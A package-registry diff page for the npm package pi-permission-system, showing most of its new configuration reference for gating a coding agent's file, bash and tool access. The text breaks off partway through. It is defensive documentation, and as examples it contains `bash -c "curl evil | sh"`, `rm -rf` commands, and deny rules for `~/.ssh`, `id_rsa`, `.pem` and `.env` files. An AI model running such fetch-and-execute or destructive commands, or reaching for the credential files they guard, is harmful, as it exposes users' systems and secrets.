@gotgenes/pi-permission-system 18.1.0 → 18.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (132) hide show
  1. package/CHANGELOG.md +23 -0
  2. package/docs/assets/logo.png +0 -0
  3. package/docs/assets/logo.svg +213 -0
  4. package/docs/configuration.md +700 -0
  5. package/docs/cross-extension-api.md +525 -0
  6. package/docs/guides/permission-frontmatter-for-subagent-extensions.md +201 -0
  7. package/docs/guides/upstream-issue-template.md +113 -0
  8. package/docs/migration/legacy-to-flat.md +365 -0
  9. package/docs/opencode-compatibility.md +213 -0
  10. package/docs/session-approvals.md +68 -0
  11. package/docs/subagent-integration.md +102 -0
  12. package/docs/troubleshooting.md +53 -0
  13. package/package.json +5 -2
  14. package/src/access-intent/access-path.ts +29 -4
  15. package/src/access-intent/bash/bash-path-resolver.ts +39 -18
  16. package/src/access-intent/bash/msys-bash-tokens.ts +64 -0
  17. package/src/path-normalizer.ts +105 -2
  18. package/test/access-intent/access-path.test.ts +0 -277
  19. package/test/access-intent/bash/node-text.test.ts +0 -148
  20. package/test/access-intent/bash/parser.test.ts +0 -19
  21. package/test/access-intent/bash/program.test.ts +0 -673
  22. package/test/access-intent/bash/token-classification.test.ts +0 -363
  23. package/test/access-intent/bash/token-collection.test.ts +0 -300
  24. package/test/active-agent.test.ts +0 -155
  25. package/test/async-cache.test.ts +0 -48
  26. package/test/bash-arity.test.ts +0 -144
  27. package/test/bash-external-directory.test.ts +0 -1022
  28. package/test/builtin-tool-input-formatters.test.ts +0 -109
  29. package/test/canonicalize-path.test.ts +0 -119
  30. package/test/composition-root.test.ts +0 -698
  31. package/test/config-loader.test.ts +0 -740
  32. package/test/config-modal.test.ts +0 -320
  33. package/test/config-paths.test.ts +0 -83
  34. package/test/config-pipeline.test.ts +0 -90
  35. package/test/config-reporter.test.ts +0 -147
  36. package/test/config-store.test.ts +0 -466
  37. package/test/decision-audit.test.ts +0 -72
  38. package/test/decision-reporter.test.ts +0 -112
  39. package/test/denial-messages.test.ts +0 -714
  40. package/test/detect-permissive-bash-fallback.test.ts +0 -56
  41. package/test/expand-home.test.ts +0 -93
  42. package/test/extension-config.test.ts +0 -129
  43. package/test/extension-paths.test.ts +0 -108
  44. package/test/forwarded-permissions/io.test.ts +0 -251
  45. package/test/forwarding-manager.test.ts +0 -200
  46. package/test/handlers/before-agent-start.test.ts +0 -314
  47. package/test/handlers/external-directory-integration.test.ts +0 -515
  48. package/test/handlers/external-directory-session-dedup.test.ts +0 -175
  49. package/test/handlers/external-directory-symlink-acceptance.test.ts +0 -167
  50. package/test/handlers/gates/bash-command-metamorphic.test.ts +0 -88
  51. package/test/handlers/gates/bash-command.test.ts +0 -257
  52. package/test/handlers/gates/bash-external-directory.test.ts +0 -268
  53. package/test/handlers/gates/bash-path.test.ts +0 -346
  54. package/test/handlers/gates/candidate-check.test.ts +0 -52
  55. package/test/handlers/gates/external-directory-messages.test.ts +0 -85
  56. package/test/handlers/gates/external-directory-policy.test.ts +0 -134
  57. package/test/handlers/gates/external-directory.test.ts +0 -267
  58. package/test/handlers/gates/helpers.test.ts +0 -165
  59. package/test/handlers/gates/path.test.ts +0 -369
  60. package/test/handlers/gates/runner.test.ts +0 -408
  61. package/test/handlers/gates/skill-input-gate-pipeline.test.ts +0 -176
  62. package/test/handlers/gates/skill-input.test.ts +0 -128
  63. package/test/handlers/gates/skill-read.test.ts +0 -161
  64. package/test/handlers/gates/tool-call-gate-pipeline.test.ts +0 -356
  65. package/test/handlers/gates/tool.test.ts +0 -244
  66. package/test/handlers/input-events.test.ts +0 -168
  67. package/test/handlers/input.test.ts +0 -199
  68. package/test/handlers/lifecycle.test.ts +0 -221
  69. package/test/handlers/tool-call-boundary.test.ts +0 -145
  70. package/test/handlers/tool-call-events.test.ts +0 -277
  71. package/test/handlers/tool-call.test.ts +0 -395
  72. package/test/handlers/validate-requested-tool.test.ts +0 -92
  73. package/test/helpers/external-directory-fixtures.ts +0 -269
  74. package/test/helpers/gate-fixtures.ts +0 -316
  75. package/test/helpers/handler-fixtures.ts +0 -335
  76. package/test/helpers/make-fake-pi.ts +0 -100
  77. package/test/helpers/manager-harness.ts +0 -112
  78. package/test/helpers/session-fixtures.ts +0 -199
  79. package/test/input-normalizer.test.ts +0 -325
  80. package/test/logging.test.ts +0 -51
  81. package/test/mcp-targets.test.ts +0 -233
  82. package/test/node-modules-discovery.test.ts +0 -97
  83. package/test/normalize.test.ts +0 -247
  84. package/test/path-containment.test.ts +0 -161
  85. package/test/path-normalization.test.ts +0 -233
  86. package/test/path-normalizer.test.ts +0 -196
  87. package/test/path-surfaces.test.ts +0 -55
  88. package/test/pattern-suggest.test.ts +0 -248
  89. package/test/permission-dialog.test.ts +0 -205
  90. package/test/permission-event-rpc.test.ts +0 -560
  91. package/test/permission-events.test.ts +0 -400
  92. package/test/permission-forwarder.test.ts +0 -370
  93. package/test/permission-forwarding.test.ts +0 -315
  94. package/test/permission-gate.test.ts +0 -269
  95. package/test/permission-manager-unified.test.ts +0 -3714
  96. package/test/permission-merge.test.ts +0 -61
  97. package/test/permission-prompter.test.ts +0 -518
  98. package/test/permission-prompts.test.ts +0 -363
  99. package/test/permission-resolver.test.ts +0 -277
  100. package/test/permission-session.test.ts +0 -404
  101. package/test/permission-ui-prompt.test.ts +0 -146
  102. package/test/permissions-service.test.ts +0 -192
  103. package/test/pi-infrastructure-read.test.ts +0 -432
  104. package/test/policy-loader.test.ts +0 -561
  105. package/test/prompting-gateway.test.ts +0 -231
  106. package/test/rule.test.ts +0 -650
  107. package/test/safe-system-paths.test.ts +0 -46
  108. package/test/scope-merge.test.ts +0 -116
  109. package/test/service-lifecycle.test.ts +0 -163
  110. package/test/service.test.ts +0 -261
  111. package/test/session-approval.test.ts +0 -75
  112. package/test/session-logger.test.ts +0 -200
  113. package/test/session-rules.test.ts +0 -321
  114. package/test/session-start.test.ts +0 -112
  115. package/test/skill-prompt-sanitizer.test.ts +0 -418
  116. package/test/status.test.ts +0 -10
  117. package/test/subagent-context.test.ts +0 -372
  118. package/test/subagent-lifecycle-events.test.ts +0 -132
  119. package/test/subagent-registry.test.ts +0 -145
  120. package/test/synthesize.test.ts +0 -302
  121. package/test/system-prompt-sanitizer.test.ts +0 -382
  122. package/test/tool-access-extractor-registry.test.ts +0 -77
  123. package/test/tool-input-formatter-registry.test.ts +0 -75
  124. package/test/tool-input-path.test.ts +0 -84
  125. package/test/tool-input-preview.test.ts +0 -129
  126. package/test/tool-input-prompt-formatters.test.ts +0 -115
  127. package/test/tool-preview-formatter.test.ts +0 -458
  128. package/test/tool-registry.test.ts +0 -197
  129. package/test/value-guards.test.ts +0 -193
  130. package/test/wildcard-matcher.test.ts +0 -424
  131. package/test/yaml-frontmatter.test.ts +0 -91
  132. package/test/yolo-mode.test.ts +0 -188
@@ -0,0 +1,700 @@
1
+ # Configuration Reference
2
+
3
+ ## Config File Locations
4
+
5
+ One unified config file per scope:
6
+
7
+ | Scope | Path |
8
+ | ------- | ------------------------------------------------------------------------------------------ |
9
+ | Global | `~/.pi/agent/extensions/pi-permission-system/config.json` (respects `PI_CODING_AGENT_DIR`) |
10
+ | Project | `<cwd>/.pi/extensions/pi-permission-system/config.json` |
11
+
12
+ Project config overrides global config; per-agent frontmatter overrides both.
13
+
14
+ > **Coming from OpenCode?**
15
+ > This extension's permission model was inspired by OpenCode's.
16
+ > See [OpenCode Compatibility](opencode-compatibility.md) for shared concepts, divergences, and a porting guide.
17
+
18
+ <!-- -->
19
+
20
+ > **Tip:** All `~/.pi/agent` paths shown in this document are defaults.
21
+ > If the `PI_CODING_AGENT_DIR` environment variable is set, Pi uses that directory instead.
22
+
23
+ ## Merge Precedence
24
+
25
+ **Precedence order (later wins):**
26
+
27
+ 1. Global config file
28
+ 2. Project config file
29
+ 3. Global agent frontmatter
30
+ 4. Project agent frontmatter
31
+
32
+ The `permission` object uses deep-shallow merge: string-vs-string replaces; both-object shallow-merges pattern maps; string-vs-object the override wins entirely.
33
+ Scalar fields (`debugLog`, `permissionReviewLog`, `yoloMode`) use simple replacement.
34
+
35
+ ## Full Example
36
+
37
+ ```jsonc
38
+ {
39
+ "$schema": "https://raw.githubusercontent.com/gotgenes/pi-permission-system/main/schemas/permissions.schema.json",
40
+
41
+ // Runtime knobs
42
+ "debugLog": false,
43
+ "permissionReviewLog": true,
44
+ "yoloMode": false,
45
+ "toolInputPreviewMaxLength": 400,
46
+ "toolTextSummaryMaxLength": 120,
47
+ "piInfrastructureReadPaths": [],
48
+
49
+ // Flat permission policy
50
+ "permission": {
51
+ "*": "ask", // universal fallback
52
+ "path": {
53
+ "*": "allow",
54
+ "*.env": "deny",
55
+ "*.env.*": "deny",
56
+ "*.env.example": "allow"
57
+ },
58
+ "read": "allow",
59
+ "write": "deny",
60
+ "edit": "deny",
61
+ "bash": {
62
+ "git *": "ask",
63
+ "git status": "allow",
64
+ "npm *": { "action": "deny", "reason": "Use pnpm instead" }
65
+ },
66
+ "mcp": { "mcp_status": "allow" },
67
+ "skill": { "*": "ask" },
68
+ "external_directory": "ask"
69
+ }
70
+ }
71
+ ```
72
+
73
+ > **Note:** Trailing commas are **not** supported.
74
+ > If parsing fails, the extension falls back to `ask` for all categories.
75
+
76
+ ## Runtime Knobs
77
+
78
+ | Key | Default | Description |
79
+ | --------------------------- | ------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
80
+ | `debugLog` | `false` | Enables verbose diagnostic logging to `logs/pi-permission-system-debug.jsonl` |
81
+ | `permissionReviewLog` | `true` | Enables the permission request/denial review log at `logs/pi-permission-system-permission-review.jsonl` |
82
+ | `yoloMode` | `false` | Auto-approves `ask` results instead of prompting when yolo mode is enabled |
83
+ | `toolInputPreviewMaxLength` | `200` | Max characters of inline JSON shown in permission prompts for tool inputs. Omit to use the default. Set to a large value to disable truncation. |
84
+ | `toolTextSummaryMaxLength` | `80` | Max characters of inline pattern/path summaries (grep patterns, find globs, ls paths) in permission prompts. Omit to use the default. |
85
+ | `piInfrastructureReadPaths` | `[]` | Extra directories to auto-allow for reads, bypassing the `external_directory` gate. Supports `~`/`$HOME` expansion and wildcard patterns (`*`, `?`). |
86
+
87
+ Both logs write to `~/.pi/agent/extensions/pi-permission-system/logs/`.
88
+ No debug output is printed to the terminal.
89
+
90
+ ### `piInfrastructureReadPaths` patterns
91
+
92
+ Each entry is either a plain directory prefix or a wildcard pattern.
93
+ Plain entries match any path that starts with the given directory (after `~`/`$HOME` expansion).
94
+ Wildcard entries use `*` (any characters, including `/`) and `?` (exactly one character).
95
+ `*` and `**` are equivalent — both cross directory boundaries.
96
+
97
+ Example — allow reads from a Homebrew-managed Pi install at any version:
98
+
99
+ ```jsonc
100
+ {
101
+ "piInfrastructureReadPaths": [
102
+ "/opt/homebrew/**/@earendil-works/pi-coding-agent/**"
103
+ ]
104
+ }
105
+ ```
106
+
107
+ ---
108
+
109
+ ## Policy Reference
110
+
111
+ ### `permission["*"]` — Universal Fallback
112
+
113
+ The `"*"` key sets the action used when no surface-specific rule matches:
114
+
115
+ ```jsonc
116
+ {
117
+ "permission": {
118
+ "*": "ask"
119
+ }
120
+ }
121
+ ```
122
+
123
+ Omitting `"*"` defaults to `"ask"` (least privilege).
124
+
125
+ ### Tool Surfaces
126
+
127
+ Any registered tool name can be a surface key.
128
+ A string value is a catch-all for that surface.
129
+
130
+ | Surface example | Description |
131
+ | --------------------------------------------- | ----------------------------------- |
132
+ | `read`, `write`, `edit`, `grep`, `find`, `ls` | Canonical Pi built-in file tools |
133
+ | `bash` | Shell command execution |
134
+ | `mcp` | Registered MCP proxy tool |
135
+ | `task` | Delegation tool |
136
+ | `third_party_tool` | Any other registered extension tool |
137
+
138
+ ```jsonc
139
+ {
140
+ "permission": {
141
+ "read": "allow",
142
+ "write": "deny",
143
+ "third_party_tool": "ask"
144
+ }
145
+ }
146
+ ```
147
+
148
+ Unknown or absent tools are not required in the config.
149
+ If a tool is not registered at runtime, this extension blocks it before permission checks run.
150
+
151
+ #### Path Patterns for File Tools
152
+
153
+ For path-bearing tools (`read`, `write`, `edit`, `find`, `grep`, `ls`), an object value maps file-path patterns to actions.
154
+ Patterns are matched against `input.path` using the same last-match-wins wildcard semantics as bash command patterns.
155
+ When Pi's current working directory is known, a relative path input is matched with both its original relative form and its cwd-normalized absolute form, so an absolute allowlist rule and a legacy relative rule can both apply to the same file.
156
+ Per-tool path patterns also match the canonical (symlink-resolved) form, at parity with the `path` surface, so a per-tool deny on a sensitive spelling cannot be evaded through a symlink alias (see Symlinked paths below).
157
+ `*` matches zero or more of any character **including** path separators — `src/*` matches both `src/foo.ts` and `src/deep/nested/foo.ts`.
158
+ There is no single-segment vs. multi-segment distinction; `**` is not a supported token and behaves identically to `*`.
159
+
160
+ ```jsonc
161
+ {
162
+ "permission": {
163
+ "read": {
164
+ "*": "allow",
165
+ "*.env": "deny",
166
+ "*.env.*": "deny",
167
+ "*.env.example": "allow"
168
+ },
169
+ "write": {
170
+ "*": "deny",
171
+ "src/*": "allow",
172
+ "tests/*": "allow"
173
+ },
174
+ "edit": {
175
+ "*": "ask",
176
+ "*.lock": "deny"
177
+ }
178
+ }
179
+ }
180
+ ```
181
+
182
+ String shorthand is still supported and behaves identically — `"read": "allow"` is equivalent to `"read": { "*": "allow" }`, which permits reads of any path.
183
+
184
+ Tool injection at agent start is unaffected: a config like `"read": { "*": "allow", "*.env": "deny" }` still exposes the `read` tool to the agent.
185
+ Only specific paths are restricted at call time.
186
+
187
+ ### `bash` Surface
188
+
189
+ Command patterns use wildcards matched against each top-level command in the chain:
190
+
191
+ - `*` matches zero or more of any character (including `/` and other separators — there is no single-segment vs. multi-segment distinction; `**` is not a supported token and is equivalent to `*`).
192
+ - `?` matches exactly one character.
193
+
194
+ **Last matching rule wins** within a single command — put broad catch-alls first, specific overrides after.
195
+
196
+ A bash invocation may be a chain of commands joined by `&&`, `||`, `;`, `|`, `&`, or newlines.
197
+ Each top-level command is evaluated independently against the patterns, and the most restrictive result wins (`deny` > `ask` > `allow`).
198
+ So `cd /repo && npm install x` evaluates both `cd /repo` and `npm install x`; if `npm *` is denied, the whole invocation is denied even when `cd *` is allowed.
199
+
200
+ Quotes are respected (an operator inside `'…'` or `"…"` does not split the command).
201
+ Commands nested inside command substitution (`$(…)`, backticks), process substitution (`<(…)`/`>(…)`), and subshells (`( … )`) are evaluated against the bash patterns too, in addition to their enclosing command — since those inner commands really execute.
202
+ So `echo $(rm -rf foo)` evaluates both `echo $(rm -rf foo)` and the inner `rm -rf foo`; if `rm *` is denied, the whole invocation is denied.
203
+ The deny reason and the approval prompt note the nested origin (e.g. `inside command substitution`).
204
+ Control-flow bodies (`if`/`while`/`for`/`case`) and `{ … }` brace groups are not descended into; their contents are matched as part of the enclosing statement's text.
205
+
206
+ A leading environment-variable assignment prefix is stripped before matching, so the rule gates the underlying command rather than the prefix.
207
+ So `AWS_PROFILE=prod aws ec2 …` is matched as `aws ec2 …` — a `aws *` rule applies even though the invocation begins with `AWS_PROFILE=`.
208
+ Prefixes like `PGPASSWORD=` and `KUBECONFIG=` are handled the same way.
209
+
210
+ A pattern ending with `*` (space + wildcard) also matches the bare command without arguments.
211
+ For example, `"git *"` matches both `"git status"` and bare `"git"`.
212
+ Place a more specific pattern *after* it to carve out exceptions — the later matching rule wins.
213
+
214
+ > **Patterns match individual commands, not whole chains.**
215
+ > A pattern that embeds a chain operator (e.g. `"cd * && npm *"`) will not match, because each command in the chain is evaluated separately.
216
+ > Write one pattern per command instead.
217
+
218
+ ```jsonc
219
+ {
220
+ "permission": {
221
+ "bash": {
222
+ "*": "ask",
223
+ "git *": "ask",
224
+ "git status": "allow",
225
+ "git diff": "allow",
226
+ "rm -rf *": "deny",
227
+ "npm *": { "action": "deny", "reason": "Use pnpm instead" }
228
+ }
229
+ }
230
+ }
231
+ ```
232
+
233
+ String shorthand sets a catch-all for all bash commands:
234
+
235
+ ```jsonc
236
+ {
237
+ "permission": { "bash": "allow" }
238
+ }
239
+ ```
240
+
241
+ #### Deny with a Custom Reason
242
+
243
+ In any pattern map, a `deny` value may be written as an object with an optional `reason` instead of the plain `"deny"` string:
244
+
245
+ ```jsonc
246
+ {
247
+ "permission": {
248
+ "bash": {
249
+ "npm *": { "action": "deny", "reason": "Use pnpm instead" }
250
+ }
251
+ }
252
+ }
253
+ ```
254
+
255
+ The reason is appended to the block message shown to the agent, so it learns why the command was denied and what to do instead:
256
+
257
+ ```text
258
+ [pi-permission-system] is not permitted to run 'bash' command 'npm install' (matched 'npm *'). Reason: Use pnpm instead.
259
+ ```
260
+
261
+ The object form is only valid at the pattern-value level (inside a pattern map) and only for `deny` — `action` must be `"deny"`, and `reason` must be a string (a non-string reason is ignored).
262
+ A bare `"deny"` string is unchanged and carries no reason.
263
+
264
+ #### Fail-closed behavior
265
+
266
+ The bash gate fails closed: when in doubt it blocks or prompts, never silently allows.
267
+
268
+ - If the permission gate throws an internal error (for example a transient tree-sitter parser-init failure), the tool call is **blocked** rather than passed ungated, and a `gate_error` entry is written to the review log naming the failure.
269
+ - A non-empty command that cannot be parsed into command units resolves to **`ask`** (the synthetic `<unparseable-bash-command>` pattern in the review log) instead of falling through to a permissive top-level `*`.
270
+ An empty, whitespace-only, or comment-only command has nothing to gate and is resolved normally.
271
+ - An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
272
+ An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
273
+ So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
274
+
275
+ Because of this, set an explicit `bash` policy rather than relying on a permissive top-level `*`.
276
+ A config whose top-level `*` is `"allow"` with no `bash` `*` policy lets every bash command silently inherit `allow`; the extension emits a startup warning in that case.
277
+ To gate bash commands, add `"bash": { "*": "ask" }` (or `"deny"`).
278
+ To deliberately opt into permissive bash, set `"bash": { "*": "allow" }` explicitly — that suppresses the warning.
279
+
280
+ ### `mcp` Surface
281
+
282
+ MCP permissions match against derived targets from tool input:
283
+
284
+ | Target type | Examples |
285
+ | ----------------- | --------------------------------------------------------------------- |
286
+ | Baseline ops | `mcp_status`, `mcp_list`, `mcp_search`, `mcp_describe`, `mcp_connect` |
287
+ | Server name | `myServer` |
288
+ | Server/tool combo | `myServer:search`, `myServer_search` |
289
+ | Generic | `mcp_call` |
290
+
291
+ ```jsonc
292
+ {
293
+ "permission": {
294
+ "mcp": {
295
+ "*": "ask",
296
+ "mcp_status": "allow",
297
+ "mcp_list": "allow",
298
+ "myServer:*": "ask",
299
+ "dangerousServer": "deny"
300
+ }
301
+ }
302
+ }
303
+ ```
304
+
305
+ > **Note:** Baseline discovery targets auto-allow when any explicit `mcp: allow` rule exists.
306
+
307
+ String shorthand grants broad MCP access — useful for per-agent overrides:
308
+
309
+ ```yaml
310
+ # ~/.pi/agent/agents/researcher.md (respects PI_CODING_AGENT_DIR)
311
+ ---
312
+ name: researcher
313
+ permission:
314
+ mcp: allow
315
+ ---
316
+ ```
317
+
318
+ ### `skill` Surface
319
+
320
+ Skill name patterns use `*` and `?` wildcards (note: surface is `skill`, not `skills`):
321
+
322
+ ```jsonc
323
+ {
324
+ "permission": {
325
+ "skill": {
326
+ "*": "ask",
327
+ "dangerous-*": "deny",
328
+ "librarian": "allow"
329
+ }
330
+ }
331
+ }
332
+ ```
333
+
334
+ ### `path` Surface
335
+
336
+ Cross-cutting gate that applies to **all** file access — built-in Pi tools (`read`, `write`, `edit`, `find`, `grep`, `ls`), bash commands, MCP calls (via `input.arguments.path`), and extension tools (via `input.path` or a registered access extractor).
337
+ A `path` deny cannot be overridden by a per-tool allow.
338
+ Extension and MCP path tools are gated by default — no registration needed — so a `path` deny protects sensitive files from every path-aware tool, not just the built-in six.
339
+
340
+ ```jsonc
341
+ {
342
+ "permission": {
343
+ "path": {
344
+ "*": "allow",
345
+ "*.env": "deny",
346
+ "*.env.*": "deny",
347
+ "*.env.example": "allow",
348
+ "~/.ssh/*": "deny"
349
+ }
350
+ }
351
+ }
352
+ ```
353
+
354
+ The path gate runs before the external-directory and tool gates.
355
+ If it denies, the command is blocked without reaching subsequent gates — no wasted prompts.
356
+
357
+ Path patterns match both the path **as the agent references it** and its canonical (symlink-resolved) form, so a deny on a sensitive spelling cannot be evaded through a symlink alias (see Symlinked paths below).
358
+
359
+ For bash commands, the extension extracts path-candidate tokens from the command (dot-files like `.env`, relative paths like `src/foo.ts`, and absolute paths) and evaluates each against the path rules.
360
+ The most restrictive result across all tokens determines the outcome.
361
+ When the current working directory is known, relative bash tokens are matched with cwd-normalized policy values, resolved against the effective directory after literal `cd` commands; a token after a non-literal `cd` (e.g. `cd "$DIR"`) stays conservative and matches only its literal form.
362
+
363
+ A bare filename with no path shape at all (e.g. `id_rsa` in `cat id_rsa`) is also gated when it matches an active, specific (non-`*`) `path` deny/ask rule — so `"id_rsa": "deny"` or `"*.pem": "deny"` blocks the file whether it is referenced by a bare name, a relative path, or the `read` tool.
364
+ A bare token that matches no specific `path` rule (e.g. `status` in `git status`) is left alone, and this promotion never fires against a `"*"` catch-all — only a config that already declares a specific `path` rule is affected.
365
+
366
+ Four orthogonal layers compose with most-restrictive-wins:
367
+
368
+ | Layer | Question | Applies to |
369
+ | ----------------------- | --------------------------------------- | ---------------- |
370
+ | `path` | Is this specific path pattern allowed? | All tools + bash |
371
+ | `external_directory` | Is accessing outside CWD ok? | All tools + bash |
372
+ | Per-tool patterns | Is this path ok for this specific tool? | Individual tools |
373
+ | `bash` command patterns | Is this command ok? | Bash only |
374
+
375
+ **Which surface for "allow this directory"?**
376
+ Use `path` to **deny** sensitive files everywhere (`.env`, `~/.ssh/*`); use `external_directory` to **allow** a directory outside the working tree (a cache, a sibling project).
377
+ Because the layers compose with most-restrictive-wins, a `path` allow cannot loosen an `external_directory: ask` boundary — `ask` is more restrictive than `allow`, so the prompt still fires.
378
+ Adding `"~/.cargo/registry": "allow"` to the `path` surface therefore does **not** stop the outside-CWD prompt; put the rule on `external_directory` instead (see below).
379
+
380
+ Configs without a `path` key behave identically to before — the gate does not fire.
381
+ When no `path` key is present, the universal fallback (`permission["*"]`) applies: `"*": "allow"` keeps the gate transparent, while `"*": "deny"` would deny all file access via every surface including `path`.
382
+
383
+ > **Ordering matters.**
384
+ > Rules use last-match-wins.
385
+ > `{ "*.env": "deny", "*": "allow" }` allows `.env` because `"*"` is last and matches everything.
386
+ > Put the catch-all first: `{ "*": "allow", "*.env": "deny" }`.
387
+
388
+ #### `.env` recipe
389
+
390
+ Deny all env files but allow the example template:
391
+
392
+ ```jsonc
393
+ {
394
+ "permission": {
395
+ "path": {
396
+ "*": "allow",
397
+ "*.env": "deny",
398
+ "*.env.*": "deny",
399
+ "*.env.example": "allow"
400
+ }
401
+ }
402
+ }
403
+ ```
404
+
405
+ This denies `.env`, `.env.local`, `.env.production`, and `src/.env`, but allows `.env.example`.
406
+ Bash commands like `cat .env`, `cp .env .env.backup`, and `echo secret > .env` (redirect targets) are all caught.
407
+
408
+ #### Composition with per-tool rules
409
+
410
+ A per-tool allow does not override a `path` deny — the path gate runs first.
411
+ Conversely, a per-tool deny still blocks even when the `path` surface allows:
412
+
413
+ ```jsonc
414
+ {
415
+ "permission": {
416
+ "path": { "*": "allow" },
417
+ "read": "deny"
418
+ }
419
+ }
420
+ ```
421
+
422
+ Here `read` calls pass the `path` gate but are blocked by the `read` tool gate.
423
+
424
+ ### `external_directory` Surface
425
+
426
+ Controls access to paths outside the active working directory.
427
+ Use a pattern map to allow specific directories without opening all external access:
428
+
429
+ ```jsonc
430
+ {
431
+ "permission": {
432
+ "external_directory": {
433
+ "*": "ask",
434
+ "~/development/*": "allow"
435
+ }
436
+ }
437
+ }
438
+ ```
439
+
440
+ `external_directory` is evaluated before the normal tool permission check.
441
+ For example, `read: "allow"` can permit ordinary reads while `external_directory: "ask"` still requires confirmation before reading `../outside.txt` or an absolute path outside `ctx.cwd`.
442
+ Optional-path search tools (`find`, `grep`, `ls`) skip this check when no `path` is provided.
443
+
444
+ #### Allow an outside-CWD cache directory
445
+
446
+ When an agent keeps reading a local cache outside the working tree — `~/.cargo/registry`, `~/.npm`, `~/go/pkg/mod` — and you want to stop confirming it every time, allow that directory on the `external_directory` surface:
447
+
448
+ ```jsonc
449
+ {
450
+ "permission": {
451
+ "external_directory": {
452
+ "*": "ask",
453
+ "~/.cargo/registry/*": "allow"
454
+ }
455
+ }
456
+ }
457
+ ```
458
+
459
+ The trailing `*` is required and it crosses subdirectory boundaries: `*` is a greedy match (not a single path segment), so `~/.cargo/registry/*` allows every file beneath the directory, however deep.
460
+ Do not write `~/.cargo/registry/**` — `**` is not a distinct globstar, and a single `*` already recurses.
461
+ A bare `~/.cargo/registry` (no `*`) matches only the directory entry itself, not the files inside it, which is the usual reason a hand-written allow rule appears to do nothing.
462
+ The pattern is stored and displayed as written (`~/.cargo/registry/*`) in logs and approval dialogs.
463
+
464
+ For caches you only ever **read**, `piInfrastructureReadPaths` is a lighter alternative — it auto-allows read-only tools (`read`, `find`, `grep`, `ls`) and bypasses the gate entirely, but it does not cover `write`/`edit` or bash.
465
+ Use `external_directory` when the allowance must apply to every tool.
466
+
467
+ Bash commands are also covered: the extension extracts path-like tokens from the command string and applies the same gate when any resolve outside `ctx.cwd`.
468
+ Quoted strings are stripped first to reduce false positives.
469
+ This is a best-effort heuristic — variable expansion and escaped quotes are not parsed, and relative paths inside subshells are not yet resolved against a per-subshell working directory. (The separate `bash` command-pattern surface does evaluate commands nested inside substitutions and subshells; see that section.) OS device paths (`/dev/null`, `/dev/stdin`, `/dev/stdout`, `/dev/stderr`) are always excluded.
470
+
471
+ #### Symlinked paths
472
+
473
+ A `path`, `external_directory`, or per-tool file-pattern rule (`read`/`write`/`edit`/`grep`/`find`/`ls`) matches the path **as the agent references it** and the OS-resolved (symlink-followed) path.
474
+ This matters on macOS, where `/tmp` is a symlink to `/private/tmp`: a rule keyed on `/tmp/*` allows access via `/tmp` even though the access resolves to `/private/tmp`, and a rule keyed on `/private/tmp/*` works too.
475
+
476
+ ```jsonc
477
+ {
478
+ "permission": {
479
+ "external_directory": {
480
+ "*": "ask",
481
+ "/tmp/*": "allow"
482
+ }
483
+ }
484
+ }
485
+ ```
486
+
487
+ The same dual-form matching protects the `path` surface and the per-tool file patterns: a `path` (or `read`/`write`/`edit`/`grep`/`find`/`ls`) deny on `~/.ssh/*` or `*.env` also catches a symlink whose resolved target matches the pattern, so a sensitive file cannot be reached through an aliasing symlink.
488
+ For `external_directory`, the decision of whether a path is outside the working directory always uses the resolved form, so the gate still fires for every outside-CWD access; only which allow/deny/ask pattern matches considers both forms.
489
+
490
+ #### Pi Infrastructure Read Auto-Allow
491
+
492
+ Read-only tools (`read`, `find`, `grep`, `ls`) targeting Pi infrastructure directories are automatically allowed without triggering the gate, even when `external_directory` is `ask` or `deny`.
493
+ Infrastructure directories include:
494
+
495
+ 1. The agent config directory (`~/.pi/agent/` or `$PI_CODING_AGENT_DIR`)
496
+ 2. Git-cloned global packages (`<agentDir>/git/`)
497
+ 3. The global `node_modules` root (auto-discovered from the extension's own install path; falls back to `npm root -g` when running from a local development checkout)
498
+ 4. Pi's own install directory (auto-discovered via the coding-agent `getPackageDir()` API, so Pi's bundled docs and examples are readable regardless of install layout)
499
+ 5. Project-local Pi packages (`<cwd>/.pi/npm/` and `<cwd>/.pi/git/`)
500
+ 6. Any paths listed in `piInfrastructureReadPaths`
501
+
502
+ Write tools (`write`, `edit`) to infrastructure paths are **not** auto-allowed and still go through the gate.
503
+
504
+ On Windows, path matching for `external_directory`, `path`, and the path-bearing tools is case-insensitive and tolerant of either separator (`\` or `/`), matching the case-insensitive filesystem.
505
+ A mixed-case allow override such as `~/AppData/Roaming/npm/node_modules/@earendil-works/pi-coding-agent/*` therefore matches a lowercased, backslash-normalized path value.
506
+ POSIX matching remains case-sensitive.
507
+
508
+ #### Git Bash / MSYS paths on Windows
509
+
510
+ On Windows, Pi executes bash commands through Git Bash, so a bash token that looks like a POSIX absolute path carries MSYS mount semantics rather than native `node:path.win32` semantics.
511
+ The `external_directory` and `path` gates interpret bash tokens accordingly (tool-input paths for `read`/`write`/`edit` keep native Windows semantics, since those tools resolve them through Node's filesystem):
512
+
513
+ - The safe device paths (`/dev/null`, `/dev/stdin`, `/dev/stdout`, `/dev/stderr`) are recognized as MSYS devices and never trigger the gate — the same exclusion that holds on POSIX, so `echo hi > /dev/null` does not prompt.
514
+ - MSYS drive mounts (`/c/…`, `/d/…`) are translated to their Windows equivalent (`C:\…`), so a project file referenced through a mount is matched against its real Windows path and an in-CWD mount is not flagged.
515
+ - Every other POSIX-absolute token (`/tmp/foo`, `/usr/bin`) has an install-dependent target this extension cannot resolve deterministically (Git Bash mounts `/tmp` to `%TEMP%`, MSYS2 to its own root), so it is treated as an external path matched and displayed exactly as typed, never rewritten to `C:\tmp\foo`.
516
+
517
+ To allow-list such a path, write the rule using the path as typed — for example `external_directory: { "/tmp/*": "allow" }` — and the Windows separator folding above makes the forward-slash rule match the Git Bash token.
518
+
519
+ ### Home Directory Expansion in Patterns
520
+
521
+ Pattern keys in any permission surface can start with `~/` or `$HOME/` (or be exactly `~` / `$HOME`).
522
+ They are expanded to the OS home directory at match time, so configs are portable across machines and users.
523
+
524
+ ```jsonc
525
+ {
526
+ "permission": {
527
+ "external_directory": {
528
+ "*": "ask",
529
+ "~/development/*": "allow"
530
+ }
531
+ }
532
